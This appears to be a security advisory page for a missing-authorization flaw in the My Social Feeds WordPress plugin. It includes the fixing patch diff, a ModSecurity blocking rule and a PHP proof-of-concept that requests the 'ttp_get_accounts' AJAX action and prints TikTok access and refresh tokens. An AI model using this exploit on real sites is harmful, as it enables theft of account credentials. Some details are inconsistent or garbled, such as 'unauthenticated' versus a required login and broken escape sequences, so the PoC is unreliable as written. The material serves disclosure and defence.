CVE-2026-6446: My Social Feeds <= 1.0.4 – Missing Authorization to Unauthenticated Sensitive Information Exposure via 'ttp_get_accounts' AJAX Action (my-social-feeds)

--- a/my-social-feeds/build/admin-dashboard.asset.php
+++ b/my-social-feeds/build/admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-i18n'), 'version' => 'c4211d172fd7f3156a83');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-i18n'), 'version' => '5c70212cc624e84767bc');
--- a/my-social-feeds/build/tiktok-player/index.asset.php
+++ b/my-social-feeds/build/tiktok-player/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '898da91a861bbbaa70e2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'c1d09bd7e56c1b45f42e');
--- a/my-social-feeds/build/tiktok-player/view.asset.php
+++ b/my-social-feeds/build/tiktok-player/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => 'f1233ba848e7023a23d2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => '718c6ce31510e4ee1156');
--- a/my-social-feeds/includes/TiktokAPI.php
+++ b/my-social-feeds/includes/TiktokAPI.php
@@ -181,20 +181,35 @@
         update_option('ttp_tiktok_accounts', $accounts);
     }

-    public function get_accounts() {
-
-        if ( ! current_user_can( 'manage_options' ) ) {
-            wp_send_json_error( [ 'message' => 'Unauthorized' ], 403 );
+    public function get_accounts() {
+
+        if ( ! isset($_GET['nonce']) || ! wp_verify_nonce($_GET['nonce'], 'ttp_public_video_nonce') ) {
+            wp_send_json_error('Invalid security token.', 403);
         }

-        check_ajax_referer( 'ttp_fetch_data_nonce', 'nonce' );
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error('Unauthorized access.', 403);
+        }

         $accounts = get_option('ttp_tiktok_accounts', []);
         if ( empty($accounts) ) {
             $this->migrate_old_single_account();
             $accounts = get_option('ttp_tiktok_accounts', []);
         }
-        wp_send_json_success(array_values($accounts));
+
+        // ✅ টোকেনগুলো বাদ দিয়ে ফিল্টার করুন
+        $sanitized_accounts = array_map(function($acc) {
+            return [
+                'account_id'     => $acc['account_id'],
+                'display_name'   => $acc['display_name'],
+                'avatar_url'     => $acc['avatar_url'],
+                'follower_count' => $acc['follower_count'],
+                'created_at'     => $acc['created_at']
+            ];
+        }, array_values($accounts));
+
+        wp_send_json_success($sanitized_accounts);
+        // wp_send_json_success(array_values($accounts));
     }

     /* =====================================================
@@ -204,7 +219,7 @@

         // ✅ frontend/backend both must use same nonce key
         $nonce = sanitize_text_field($_GET['nonce'] ?? '');
-        if ( ! wp_verify_nonce($nonce, 'ttp_fetch_data_nonce') ) {
+        if ( ! wp_verify_nonce($nonce, 'ttp_public_video_nonce') ) {
             wp_send_json_error(['message' => 'Invalid nonce']);
         }

@@ -298,13 +313,8 @@

     public function clear_cache() {

-        if ( ! current_user_can( 'manage_options' ) ) {
-            wp_send_json_error( [ 'message' => 'Unauthorized' ], 403 );
-        }
-
-        $nonce = sanitize_text_field($_GET['nonce'] ?? '');
-        if ( ! wp_verify_nonce($nonce, 'ttp_fetch_data_nonce') ) {
-            wp_send_json_error(['message' => 'Invalid nonce']);
+         if (!wp_verify_nonce(sanitize_text_field($_GET['nonce']), 'ttp_fetch_data_nonce') || !current_user_can('manage_options')) {
+                wp_send_json_error('invalid access');
         }

         $action     = sanitize_text_field($_GET['action_type'] ?? 'clear_cache');
@@ -326,6 +336,17 @@

     public function remove_account() {

+         // 1. Check Nonce (Note: usually POST for destructive actions)
+        $nonce = $_POST['nonce'] ?? $_GET['nonce'] ?? '';
+        if ( ! wp_verify_nonce($nonce, 'ttp_fetch_data_nonce') ) {
+            wp_send_json_error('Invalid security token.', 403);
+        }
+
+        // 2. Check Permissions
+        if ( ! current_user_can('manage_options') ) {
+            wp_send_json_error('Unauthorized access.', 403);
+        }
+
         $account_id = sanitize_text_field($_POST['account_id'] ?? '');
         $accounts   = get_option('ttp_tiktok_accounts', []);
         if ( ! is_array($accounts) ) $accounts = [];
--- a/my-social-feeds/my-social-feeds.php
+++ b/my-social-feeds/my-social-feeds.php
@@ -3,7 +3,7 @@
 /**
  * Plugin Name: My Social Feeds
  * Description: Embed social feeds
- * Version: 1.0.4
+ * Version: 1.0.5
  * Author: bPlugins
  * Author URI: https://bplugins.com
  * License: GPLv3
@@ -31,7 +31,7 @@
 if ( function_exists( 'msfbp_fs' ) ) {
     msfbp_fs()->set_basename( false, __FILE__ );
 } else {
-    define( 'MSFBP_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.0.4' ) );
+    define( 'MSFBP_VERSION', ( isset( $_SERVER['HTTP_HOST'] ) && 'localhost' === $_SERVER['HTTP_HOST'] ? time() : '1.0.5' ) );
     // define( 'MSFBP_VERSION', ( defined('WP_DEBUG') && WP_DEBUG ) ? time() : '1.0.2');
     define( 'MSFBP_DIR_URL', plugin_dir_url( __FILE__ ) );
     define( 'MSFBP_DIR_PATH', plugin_dir_path( __FILE__ ) );
@@ -94,9 +94,9 @@
                 $this->load_classes();
                 add_action( 'init', [$this, 'onInit'] );
                 add_action( 'enqueue_block_editor_assets', [$this, 'enqueueBlockEditorAssets'] );
-                add_action( 'enqueue_block_assets', [$this, 'enqueueTiktokAssets'] );
-                add_action( 'enqueue_block_assets', [$this, 'wp_admin_scripts'] );
-                add_action( 'admin_enqueue_scripts', [$this, 'wp_admin_scripts'] );
+                add_action( 'wp_enqueue_scripts', [$this, 'enqueue_frontend_assets'] );
+                add_action( 'admin_enqueue_scripts', [$this, 'enqueue_admin_assets'] );
+                add_action( 'enqueue_block_assets', [$this, 'enqueue_common_block_assets'] );
                 add_action( 'admin_footer', [$this, 'load_tiktok_script'], 10 );
                 add_action( 'wp_footer', [$this, 'load_tiktok_script'], 10 );
                 add_filter(
@@ -129,7 +129,44 @@
 			<?php
             }

-            public function enqueueTiktokAssets() {
+            public function enqueue_admin_assets() {
+                wp_enqueue_script(
+                    'ttp-admin-script',
+                    MSFBP_PUBLIC_URL . 'js/ttp_script.js',
+                    [],
+                    MSFBP_VERSION,
+                    true
+                );
+                wp_localize_script( 'ttp-admin-script', 'ttpAdminData', [
+                    'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+                    'nonce'   => wp_create_nonce( 'ttp_fetch_data_nonce' ),
+                    'dataGet' => wp_create_nonce( 'ttp_data_get_nonce' ),
+                ] );
+                wp_localize_script( 'ttp-admin-script', 'msfAuthorization', [
+                    'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+                    'nonce'   => wp_create_nonce( 'msf_authorization_nonce' ),
+                ] );
+                wp_localize_script( 'ttp-admin-script', 'accountInformation', [
+                    'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+                    'nonce'   => wp_create_nonce( 'ttp_public_video_nonce' ),
+                ] );
+            }
+
+            public function enqueue_frontend_assets() {
+                wp_enqueue_script(
+                    'ttp-frontend-script',
+                    MSFBP_PUBLIC_URL . 'js/ttp_script.js',
+                    [],
+                    MSFBP_VERSION,
+                    true
+                );
+                wp_localize_script( 'ttp-frontend-script', 'accountInformation', [
+                    'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+                    'nonce'   => wp_create_nonce( 'ttp_public_video_nonce' ),
+                ] );
+            }
+
+            public function enqueue_common_block_assets() {
                 wp_register_style( 'fancyapps', MSFBP_PUBLIC_URL . 'css/fancyapps.min.css' );
                 wp_register_style( 'justified', MSFBP_PUBLIC_URL . 'css/justifiedGallery.min.css' );
                 wp_register_script(
@@ -144,36 +181,11 @@
                     ['jquery'],
                     MSFBP_VERSION
                 );
-                wp_register_script(
-                    'ttp-script',
-                    MSFBP_PUBLIC_URL . 'js/ttp_script.js',
-                    [],
-                    MSFBP_VERSION
-                );
                 wp_localize_script( 'ttp-tiktok-player-editor-script', 'ttpPatters', [
                     'patternsImagePath' => MSFBP_PUBLIC_URL . 'images/patterns/',
                 ] );
             }

-            public function wp_admin_scripts() {
-                wp_enqueue_script(
-                    'ttp-script',
-                    MSFBP_PUBLIC_URL . 'js/ttp_script.js',
-                    [],
-                    MSFBP_VERSION
-                );
-                wp_localize_script( 'ttp-script', 'msfAuthorization', [
-                    'ajaxUrl' => admin_url( 'admin-ajax.php' ),
-                    'nonce'   => wp_create_nonce( 'msf_authorization_nonce' ),
-                ] );
-                wp_localize_script( 'ttp-script', 'ttpData', [
-                    'ajaxUrl'          => admin_url( 'admin-ajax.php' ),
-                    'tiktokAuthorized' => false !== get_transient( 'ttp_tiktok_authorized_data' ),
-                    'nonce'            => wp_create_nonce( 'ttp_fetch_data_nonce' ),
-                    'dataGet'          => wp_create_nonce( 'ttp_data_get_nonce' ),
-                ] );
-            }
-
             public function enqueueBlockEditorAssets() {
                 wp_add_inline_script( 'msfbp-my-social-feeds-editor-script', "const msfbppipecheck=" . wp_json_encode( msfbpIsPremium() ) . ';', 'before' );
             }

# Atomic Edge WAF Rule - CVE-2026-6446
# Block unauthenticated/non-admin access to the ttp_get_accounts AJAX action
# This rule targets the specific AJAX endpoint that exposes TikTok OAuth tokens

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6446: My Social Feeds TikTok token exposure via AJAX',severity:'CRITICAL',tag:'CVE-2026-6446'"
  SecRule ARGS_POST:action "@streq ttp_get_accounts" "chain"
    SecRule ARGS_POST:nonce "@eq ''" "t:none"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6446 - My Social Feeds <= 1.0.4 - Missing Authorization to Unauthenticated Sensitive Information Exposure via 'ttp_get_accounts' AJAX Action

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$payload = array(
    'action' => 'ttp_get_accounts'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_' . session_id() . '=YOUR_COOKIE_VALUE'); // Attacker must be logged in as Subscriber

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// Successful response contains TikTok account data with access_token and refresh_token
// Parse JSON to extract tokens:
$data = json_decode($response, true);
if (isset($data['success']) && $data['success'] === true) {
    foreach ($data['data'] as $account) {
        echo "Account ID: " . $account['account_id'] . "n";
        echo "Access Token: " . $account['access_token'] . "n";
        echo "Refresh Token: " . $account['refresh_token'] . "n";
    }
}